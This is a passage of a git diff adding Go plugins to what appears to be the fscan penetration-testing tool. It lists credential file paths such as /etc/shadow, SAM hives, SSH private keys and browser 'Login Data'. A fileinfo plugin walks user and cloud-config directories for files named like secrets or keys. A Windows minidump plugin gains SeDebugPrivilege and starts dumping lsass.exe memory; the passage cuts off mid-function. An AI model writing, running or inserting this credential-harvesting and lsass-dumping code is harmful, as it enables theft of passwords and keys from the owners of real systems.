||||||
|
"/opt",
|
||||||
|
"/usr/local",
|
||||||
|
"/var/www",
|
||||||
|
"/var/log",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return dirs
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSensitiveFiles 获取敏感文件路径
|
||||||
|
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
|
||||||
|
var files []string
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
files = []string{
|
||||||
|
"C:\\boot.ini",
|
||||||
|
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||||
|
"C:\\windows\\repair\\sam",
|
||||||
|
"C:\\windows\\system32\\config\\sam",
|
||||||
|
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||||
|
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||||
|
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||||
|
}
|
||||||
|
case "linux", "darwin":
|
||||||
|
files = []string{
|
||||||
|
"/etc/passwd",
|
||||||
|
"/etc/shadow",
|
||||||
|
"/etc/hosts",
|
||||||
|
"/etc/ssh/ssh_config",
|
||||||
|
"/root/.ssh/id_rsa",
|
||||||
|
"/root/.ssh/authorized_keys",
|
||||||
|
"/root/.bash_history",
|
||||||
|
filepath.Join(c.homeDir, ".ssh/id_rsa"),
|
||||||
|
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
|
||||||
|
filepath.Join(c.homeDir, ".bash_history"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return files
|
||||||
|
}
|
1035
Plugins/local/dcinfo/plugin.go
Normal file
1035
Plugins/local/dcinfo/plugin.go
Normal file
File diff suppressed because it is too large
Load Diff
376
Plugins/local/fileinfo/plugin.go
Normal file
376
Plugins/local/fileinfo/plugin.go
Normal file
@ -0,0 +1,376 @@
|
|||||||
|
package fileinfo
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FileInfoPlugin 文件信息收集插件
|
||||||
|
type FileInfoPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *FileInfoConnector
|
||||||
|
|
||||||
|
// 配置选项
|
||||||
|
blacklist []string
|
||||||
|
whitelist []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// FileInfoConnector 文件信息连接器
|
||||||
|
type FileInfoConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
sensitiveFiles []string
|
||||||
|
searchDirs []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewFileInfoPlugin 创建文件信息收集插件
|
||||||
|
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "fileinfo",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地敏感文件信息收集插件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewFileInfoConnector()
|
||||||
|
plugin := &FileInfoPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
blacklist: []string{
|
||||||
|
// 可执行文件和库
|
||||||
|
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
||||||
|
// 图像和媒体文件
|
||||||
|
".png", ".jpg", ".jpeg", ".gif", ".bmp", ".ico", ".tiff", ".svg",
|
||||||
|
".mp3", ".mp4", ".avi", ".mov", ".wmv", ".wav", ".flac",
|
||||||
|
// 文档和归档文件(通常不含敏感信息)
|
||||||
|
".pdf", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx",
|
||||||
|
".zip", ".rar", ".7z", ".tar", ".gz",
|
||||||
|
// 代码和项目文件
|
||||||
|
".pyc", ".pyo", ".class", ".obj", ".o", ".lib", ".a",
|
||||||
|
// 系统和临时文件
|
||||||
|
".tmp", ".temp", ".log", ".cache", ".bak", ".swp",
|
||||||
|
".manifest", ".mui", ".nls", ".dat", ".bin", ".pdb",
|
||||||
|
// 系统目录
|
||||||
|
"windows\\system32", "windows\\syswow64", "windows\\winsxs",
|
||||||
|
"program files", "program files (x86)", "programdata",
|
||||||
|
"appdata\\local\\temp", "appdata\\local\\microsoft\\windows",
|
||||||
|
"locale", "winsxs", "windows\\sys", "node_modules", ".git",
|
||||||
|
"__pycache__", ".vs", ".vscode\\extensions", "dist\\bundled",
|
||||||
|
},
|
||||||
|
whitelist: []string{
|
||||||
|
// 中文关键词 - 更精确的匹配
|
||||||
|
"密码", "账号", "用户", "凭据", "证书", "私钥", "公钥",
|
||||||
|
"令牌", "口令", "认证", "授权", "登录",
|
||||||
|
// 英文关键词 - 敏感文件标识
|
||||||
|
"password", "passwd", "credential", "token", "auth", "login",
|
||||||
|
"key", "secret", "cert", "certificate", "private", "public",
|
||||||
|
"rsa", "ssh", "api_key", "access_key", "session",
|
||||||
|
// 配置文件 - 但更具体
|
||||||
|
".env", "database", "db_", "connection", "conn_",
|
||||||
|
// 特定敏感文件名
|
||||||
|
"id_rsa", "id_dsa", "authorized_keys", "known_hosts",
|
||||||
|
"shadow", "passwd", "credentials", "keystore",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置平台支持
|
||||||
|
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewFileInfoConnector 创建文件信息连接器
|
||||||
|
func NewFileInfoConnector() *FileInfoConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
connector := &FileInfoConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
}
|
||||||
|
|
||||||
|
connector.initSensitiveFiles()
|
||||||
|
|
||||||
|
return connector
|
||||||
|
}
|
||||||
|
|
||||||
|
// initSensitiveFiles 初始化敏感文件列表
|
||||||
|
func (c *FileInfoConnector) initSensitiveFiles() {
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
c.sensitiveFiles = []string{
|
||||||
|
"C:\\boot.ini",
|
||||||
|
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||||
|
"C:\\windows\\repair\\sam",
|
||||||
|
"C:\\windows\\system32\\config\\sam",
|
||||||
|
}
|
||||||
|
|
||||||
|
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
|
||||||
|
c.sensitiveFiles = append(c.sensitiveFiles, []string{
|
||||||
|
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||||
|
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||||
|
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||||
|
}...)
|
||||||
|
}
|
||||||
|
|
||||||
|
case "linux", "darwin":
|
||||||
|
c.sensitiveFiles = []string{
|
||||||
|
"/etc/apache/httpd.conf",
|
||||||
|
"/etc/httpd/conf/httpd.conf",
|
||||||
|
"/etc/nginx/nginx.conf",
|
||||||
|
"/etc/hosts.deny",
|
||||||
|
"/etc/ssh/ssh_config",
|
||||||
|
"/etc/resolv.conf",
|
||||||
|
"/root/.ssh/authorized_keys",
|
||||||
|
"/root/.ssh/id_rsa",
|
||||||
|
"/root/.bash_history",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.searchDirs = c.getOptimizedSearchDirs()
|
||||||
|
}
|
||||||
|
|
||||||
|
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
||||||
|
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
|
||||||
|
var dirs []string
|
||||||
|
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "windows":
|
||||||
|
dirs = []string{
|
||||||
|
// 用户目录的关键文件夹
|
||||||
|
c.GetCommonDirectories()[0], // homeDir
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
|
||||||
|
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
|
||||||
|
// 公共目录的关键部分
|
||||||
|
"C:\\Users\\Public\\Documents",
|
||||||
|
"C:\\Users\\Public\\Desktop",
|
||||||
|
}
|
||||||
|
case "linux", "darwin":
|
||||||
|
homeDir := c.GetCommonDirectories()[0]
|
||||||
|
dirs = []string{
|
||||||
|
homeDir,
|
||||||
|
filepath.Join(homeDir, "Desktop"),
|
||||||
|
filepath.Join(homeDir, "Documents"),
|
||||||
|
filepath.Join(homeDir, "Downloads"),
|
||||||
|
filepath.Join(homeDir, ".ssh"),
|
||||||
|
filepath.Join(homeDir, ".aws"),
|
||||||
|
filepath.Join(homeDir, ".azure"),
|
||||||
|
filepath.Join(homeDir, ".kube"),
|
||||||
|
"/opt",
|
||||||
|
"/usr/local/bin",
|
||||||
|
"/var/www",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 过滤存在的目录
|
||||||
|
var validDirs []string
|
||||||
|
for _, dir := range dirs {
|
||||||
|
if _, err := os.Stat(dir); err == nil {
|
||||||
|
validDirs = append(validDirs, dir)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return validDirs
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行本地文件扫描
|
||||||
|
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
common.LogBase("开始本地敏感文件扫描...")
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
|
||||||
|
foundFiles := make([]string, 0)
|
||||||
|
|
||||||
|
// 扫描固定位置的敏感文件
|
||||||
|
common.LogDebug("扫描固定敏感文件位置...")
|
||||||
|
for _, file := range p.connector.sensitiveFiles {
|
||||||
|
if p.checkFile(file) {
|
||||||
|
foundFiles = append(foundFiles, file)
|
||||||
|
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 根据规则搜索敏感文件
|
||||||
|
common.LogDebug("按规则搜索敏感文件...")
|
||||||
|
searchFiles := p.searchSensitiveFiles()
|
||||||
|
foundFiles = append(foundFiles, searchFiles...)
|
||||||
|
|
||||||
|
result := &base.ScanResult{
|
||||||
|
Success: len(foundFiles) > 0,
|
||||||
|
Service: "FileInfo",
|
||||||
|
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
|
||||||
|
Extra: map[string]interface{}{
|
||||||
|
"files": foundFiles,
|
||||||
|
"total_count": len(foundFiles),
|
||||||
|
"platform": runtime.GOOS,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(foundFiles) > 0 {
|
||||||
|
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
||||||
|
} else {
|
||||||
|
common.LogDebug("未发现敏感文件")
|
||||||
|
}
|
||||||
|
|
||||||
|
return result, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLocalData 获取本地文件数据
|
||||||
|
func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||||
|
data := make(map[string]interface{})
|
||||||
|
|
||||||
|
// 获取系统信息
|
||||||
|
data["platform"] = runtime.GOOS
|
||||||
|
data["arch"] = runtime.GOARCH
|
||||||
|
|
||||||
|
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||||
|
data["home_dir"] = homeDir
|
||||||
|
}
|
||||||
|
|
||||||
|
if workDir, err := os.Getwd(); err == nil {
|
||||||
|
data["work_dir"] = workDir
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractData 提取敏感文件数据
|
||||||
|
func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||||
|
// 文件信息收集插件主要是扫描,不进行深度利用
|
||||||
|
return &base.ExploitResult{
|
||||||
|
Success: true,
|
||||||
|
Output: "文件信息收集完成",
|
||||||
|
Data: data,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkFile 检查文件是否存在
|
||||||
|
func (p *FileInfoPlugin) checkFile(path string) bool {
|
||||||
|
if _, err := os.Stat(path); err == nil {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// searchSensitiveFiles 搜索敏感文件(限制深度和数量)
|
||||||
|
func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
||||||
|
var foundFiles []string
|
||||||
|
maxFiles := 50 // 限制最多找到的文件数量
|
||||||
|
maxDepth := 4 // 限制递归深度
|
||||||
|
|
||||||
|
for _, searchPath := range p.connector.searchDirs {
|
||||||
|
if len(foundFiles) >= maxFiles {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
baseDepth := strings.Count(searchPath, string(filepath.Separator))
|
||||||
|
|
||||||
|
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制递归深度
|
||||||
|
currentDepth := strings.Count(path, string(filepath.Separator))
|
||||||
|
if currentDepth-baseDepth > maxDepth {
|
||||||
|
if info.IsDir() {
|
||||||
|
return filepath.SkipDir
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 跳过黑名单文件/目录
|
||||||
|
if p.isBlacklisted(path) {
|
||||||
|
if info.IsDir() {
|
||||||
|
return filepath.SkipDir
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制文件数量
|
||||||
|
if len(foundFiles) >= maxFiles {
|
||||||
|
return filepath.SkipDir
|
||||||
|
}
|
||||||
|
|
||||||
|
// 跳过过大的文件(可能不是配置文件)
|
||||||
|
if !info.IsDir() && info.Size() > 10*1024*1024 { // 10MB
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查白名单关键词
|
||||||
|
if !info.IsDir() && p.isWhitelisted(info.Name()) {
|
||||||
|
foundFiles = append(foundFiles, path)
|
||||||
|
common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
return foundFiles
|
||||||
|
}
|
||||||
|
|
||||||
|
// isBlacklisted 检查是否在黑名单中
|
||||||
|
func (p *FileInfoPlugin) isBlacklisted(path string) bool {
|
||||||
|
pathLower := strings.ToLower(path)
|
||||||
|
for _, black := range p.blacklist {
|
||||||
|
if strings.Contains(pathLower, black) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// isWhitelisted 检查是否匹配白名单
|
||||||
|
func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
||||||
|
filenameLower := strings.ToLower(filename)
|
||||||
|
for _, white := range p.whitelist {
|
||||||
|
if strings.Contains(filenameLower, white) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 插件注册函数
|
||||||
|
func init() {
|
||||||
|
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
|
||||||
|
&base.PluginMetadata{
|
||||||
|
Name: "fileinfo",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "本地敏感文件信息收集插件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "fileinfo", "sensitive"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
},
|
||||||
|
func() base.Plugin {
|
||||||
|
return NewFileInfoPlugin()
|
||||||
|
},
|
||||||
|
))
|
||||||
|
}
|
54
Plugins/local/interfaces.go
Normal file
54
Plugins/local/interfaces.go
Normal file
@ -0,0 +1,54 @@
|
|||||||
|
package local
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LocalConnector 本地信息收集连接器接口
|
||||||
|
type LocalConnector interface {
|
||||||
|
// Connect 建立本地连接(实际上是初始化本地环境)
|
||||||
|
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
|
||||||
|
|
||||||
|
// Close 关闭连接和清理资源
|
||||||
|
Close(conn interface{}) error
|
||||||
|
|
||||||
|
// GetSystemInfo 获取系统信息
|
||||||
|
GetSystemInfo(conn interface{}) (map[string]string, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LocalScanner 本地扫描器接口
|
||||||
|
type LocalScanner interface {
|
||||||
|
base.Scanner
|
||||||
|
|
||||||
|
// ScanLocal 执行本地扫描
|
||||||
|
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||||
|
|
||||||
|
// GetLocalData 获取本地数据
|
||||||
|
GetLocalData(ctx context.Context) (map[string]interface{}, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LocalExploiter 本地信息提取器接口
|
||||||
|
type LocalExploiter interface {
|
||||||
|
base.Exploiter
|
||||||
|
|
||||||
|
// ExtractData 提取本地数据
|
||||||
|
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LocalPlugin 本地插件接口
|
||||||
|
type LocalPlugin interface {
|
||||||
|
base.Plugin
|
||||||
|
LocalScanner
|
||||||
|
LocalExploiter
|
||||||
|
|
||||||
|
// GetLocalConnector 获取本地连接器
|
||||||
|
GetLocalConnector() LocalConnector
|
||||||
|
|
||||||
|
// GetPlatformSupport 获取支持的平台
|
||||||
|
GetPlatformSupport() []string
|
||||||
|
|
||||||
|
// RequiresPrivileges 是否需要特殊权限
|
||||||
|
RequiresPrivileges() bool
|
||||||
|
}
|
626
Plugins/local/minidump/plugin.go
Normal file
626
Plugins/local/minidump/plugin.go
Normal file
@ -0,0 +1,626 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package minidump
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/base"
|
||||||
|
"github.com/shadow1ng/fscan/plugins/local"
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
TH32CS_SNAPPROCESS = 0x00000002
|
||||||
|
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||||
|
MAX_PATH = 260
|
||||||
|
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||||
|
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||||
|
)
|
||||||
|
|
||||||
|
type PROCESSENTRY32 struct {
|
||||||
|
dwSize uint32
|
||||||
|
cntUsage uint32
|
||||||
|
th32ProcessID uint32
|
||||||
|
th32DefaultHeapID uintptr
|
||||||
|
th32ModuleID uint32
|
||||||
|
cntThreads uint32
|
||||||
|
th32ParentProcessID uint32
|
||||||
|
pcPriClassBase int32
|
||||||
|
dwFlags uint32
|
||||||
|
szExeFile [MAX_PATH]uint16
|
||||||
|
}
|
||||||
|
|
||||||
|
type LUID struct {
|
||||||
|
LowPart uint32
|
||||||
|
HighPart int32
|
||||||
|
}
|
||||||
|
|
||||||
|
type LUID_AND_ATTRIBUTES struct {
|
||||||
|
Luid LUID
|
||||||
|
Attributes uint32
|
||||||
|
}
|
||||||
|
|
||||||
|
type TOKEN_PRIVILEGES struct {
|
||||||
|
PrivilegeCount uint32
|
||||||
|
Privileges [1]LUID_AND_ATTRIBUTES
|
||||||
|
}
|
||||||
|
|
||||||
|
// MiniDumpPlugin 内存转储插件
|
||||||
|
type MiniDumpPlugin struct {
|
||||||
|
*local.BaseLocalPlugin
|
||||||
|
connector *MiniDumpConnector
|
||||||
|
}
|
||||||
|
|
||||||
|
// MiniDumpConnector 内存转储连接器
|
||||||
|
type MiniDumpConnector struct {
|
||||||
|
*local.BaseLocalConnector
|
||||||
|
kernel32 *syscall.DLL
|
||||||
|
dbghelp *syscall.DLL
|
||||||
|
advapi32 *syscall.DLL
|
||||||
|
}
|
||||||
|
|
||||||
|
// ProcessManager Windows进程管理器
|
||||||
|
type ProcessManager struct {
|
||||||
|
kernel32 *syscall.DLL
|
||||||
|
dbghelp *syscall.DLL
|
||||||
|
advapi32 *syscall.DLL
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewMiniDumpPlugin 创建内存转储插件
|
||||||
|
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||||
|
metadata := &base.PluginMetadata{
|
||||||
|
Name: "minidump",
|
||||||
|
Version: "1.0.0",
|
||||||
|
Author: "fscan-team",
|
||||||
|
Description: "Windows进程内存转储插件",
|
||||||
|
Category: "local",
|
||||||
|
Tags: []string{"local", "memory", "dump", "lsass", "windows"},
|
||||||
|
Protocols: []string{"local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
connector := NewMiniDumpConnector()
|
||||||
|
plugin := &MiniDumpPlugin{
|
||||||
|
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||||
|
connector: connector,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 仅支持Windows平台
|
||||||
|
plugin.SetPlatformSupport([]string{"windows"})
|
||||||
|
// 需要管理员权限
|
||||||
|
plugin.SetRequiresPrivileges(true)
|
||||||
|
|
||||||
|
return plugin
|
||||||
|
}
|
||||||
|
|
||||||
|
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||||
|
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
return p.ScanLocal(ctx, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewMiniDumpConnector 创建内存转储连接器
|
||||||
|
func NewMiniDumpConnector() *MiniDumpConnector {
|
||||||
|
baseConnector, _ := local.NewBaseLocalConnector()
|
||||||
|
|
||||||
|
return &MiniDumpConnector{
|
||||||
|
BaseLocalConnector: baseConnector,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect 建立内存转储连接
|
||||||
|
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||||
|
// 先建立基础本地连接
|
||||||
|
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug("开始加载系统DLL...")
|
||||||
|
|
||||||
|
// 加载系统DLL - 添加错误处理
|
||||||
|
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
|
||||||
|
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
common.LogDebug("kernel32.dll 加载成功")
|
||||||
|
|
||||||
|
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
|
||||||
|
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
common.LogDebug("Dbghelp.dll 加载成功")
|
||||||
|
|
||||||
|
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
|
||||||
|
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||||
|
}
|
||||||
|
common.LogDebug("advapi32.dll 加载成功")
|
||||||
|
|
||||||
|
c.kernel32 = kernel32
|
||||||
|
c.dbghelp = dbghelp
|
||||||
|
c.advapi32 = advapi32
|
||||||
|
|
||||||
|
common.LogSuccess("所有DLL加载完成")
|
||||||
|
return localConn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close 关闭连接
|
||||||
|
func (c *MiniDumpConnector) Close(conn interface{}) error {
|
||||||
|
return c.BaseLocalConnector.Close(conn)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocal 执行内存转储扫描
|
||||||
|
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r))
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
common.LogBase("开始进程内存转储...")
|
||||||
|
|
||||||
|
// 检查管理员权限
|
||||||
|
if !p.isAdmin() {
|
||||||
|
common.LogError("需要管理员权限才能执行内存转储")
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: errors.New("需要管理员权限才能执行内存转储"),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess("已确认具有管理员权限")
|
||||||
|
|
||||||
|
// 建立连接
|
||||||
|
common.LogDebug("正在建立连接...")
|
||||||
|
conn, err := p.connector.Connect(ctx, info)
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("连接失败: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("连接失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
defer p.connector.Close(conn)
|
||||||
|
common.LogSuccess("连接建立成功")
|
||||||
|
|
||||||
|
// 创建进程管理器
|
||||||
|
common.LogDebug("正在创建进程管理器...")
|
||||||
|
pm := &ProcessManager{
|
||||||
|
kernel32: p.connector.kernel32,
|
||||||
|
dbghelp: p.connector.dbghelp,
|
||||||
|
advapi32: p.connector.advapi32,
|
||||||
|
}
|
||||||
|
common.LogSuccess("进程管理器创建成功")
|
||||||
|
|
||||||
|
// 查找lsass.exe进程
|
||||||
|
common.LogDebug("正在查找lsass.exe进程...")
|
||||||
|
pid, err := pm.findProcess("lsass.exe")
|
||||||
|
if err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err))
|
||||||
|
return &base.ScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: fmt.Errorf("查找lsass.exe失败: %v", err),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid))
|
||||||
|
|
||||||
|
// 提升权限
|
||||||
|
common.LogDebug("正在提升SeDebugPrivilege权限...")
|
||||||
|
if err := pm.elevatePrivileges(); err != nil {
|
||||||
|
common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||||
|
// 权限提升失败不是致命错误,继续尝试
|
||||||
|
common.LogBase("权限提升失败,尝试继续执行...")
|
||||||
|
} else {
|
||||||
|
common.LogSuccess("权限提升成功")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建转储文件
|
||||||
|
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||||
|
common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath))
|
||||||
|
|
||||||
|
// 执行转储
|
||||||
|
common.LogDebug("开始执行内存转储...")
|
||||||
|
|
||||||
|
// 使用带超时的Windows API进行内存转储
|
||||||
|
common.LogDebug("开始使用Windows API进行内存转储...")
|
||||||
|
|
||||||
|
// 创建一个带超时的context(完整转储需要更长时间)
|
||||||
|
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
||||||
|
defer cancel()
|
